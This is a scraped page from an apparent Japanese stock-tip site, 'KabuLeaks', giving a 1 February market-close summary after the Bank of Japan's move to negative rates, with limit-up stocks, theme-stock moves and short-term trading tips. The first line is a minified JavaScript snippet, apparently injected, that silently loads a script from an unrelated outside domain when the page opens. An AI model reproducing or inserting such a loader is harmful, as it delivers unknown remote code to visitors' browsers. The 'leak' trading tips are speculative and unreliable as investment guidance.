;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【2/1 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【2/1 大引け】

本日の日経平均株価は346円高と大幅続伸。後場も先週末の欧米株高、日銀によるマイナス金利導入をきっかけにした買いが継続。ただ、後場寄りから中盤にかけては一時一服しもみ合い。前場同様に終盤にかけて再度上げ幅を拡大する動きとなりほぼ高値圏で本日の取引を終えた。業種別では、その他金融業、鉄鋼、情報・通信業、不動産業が値上がり率上位に。一方、銀行業、空運業、海運業の3業種が値下がりとなった。

個別では、先週末決算、第1四半期業績は、ナショナルクライアント中心に売上伸長し、大幅な増収増益になったことを好感された【2132】アイレップ。16年3月期第3四半期の連結経常利益は前年同期比5.6倍の1.6億円に急拡大した【4783】日本コンピュータ・ダイナミクス。子会社が遺伝子情報提供方法等に関する特許取得したと発表した【6942】ソフィアHDなどがストップ高になった。また、後場からは直近売られ過ぎ感からの見直し買いからか【8202】ラオックス急伸、一時ストップ高を付けた。

テーマ株からはフィンテック関連の【3853】インフォテリア、【3807】フィスコの上昇が目立ち。AR・VR関連、前場一時大幅高の【4312】サイバネットシステムは短期的な過熱感などから利食い売り優勢となり急落。5G関連の【3852】サイバーコムは4営業日連続のストップ高となったが、その他の関連銘柄は軒並み大幅安となった。

日銀のマイナス金利導入効果が継続し、日経平均は大幅続伸。25日移動平均線を抜け目先は1万8000円台への回復の期待が高まる状況となっている。ただ、マイナス金利の影響から銀行株が下落。過去に銀行株安が相場全体の下落を招いたことがあるだけにやや警戒感も持っておきたい。

物色はややテーマ株から資金抜けている印象アリ、触るならテーマ株本命のみ短期値幅取り。それ以外は引き続き緩和メリットセクターの不動産、ノンバンクなどを中心に好決算銘柄など。決算シーズンに絡んだ銘柄の物色が無難か。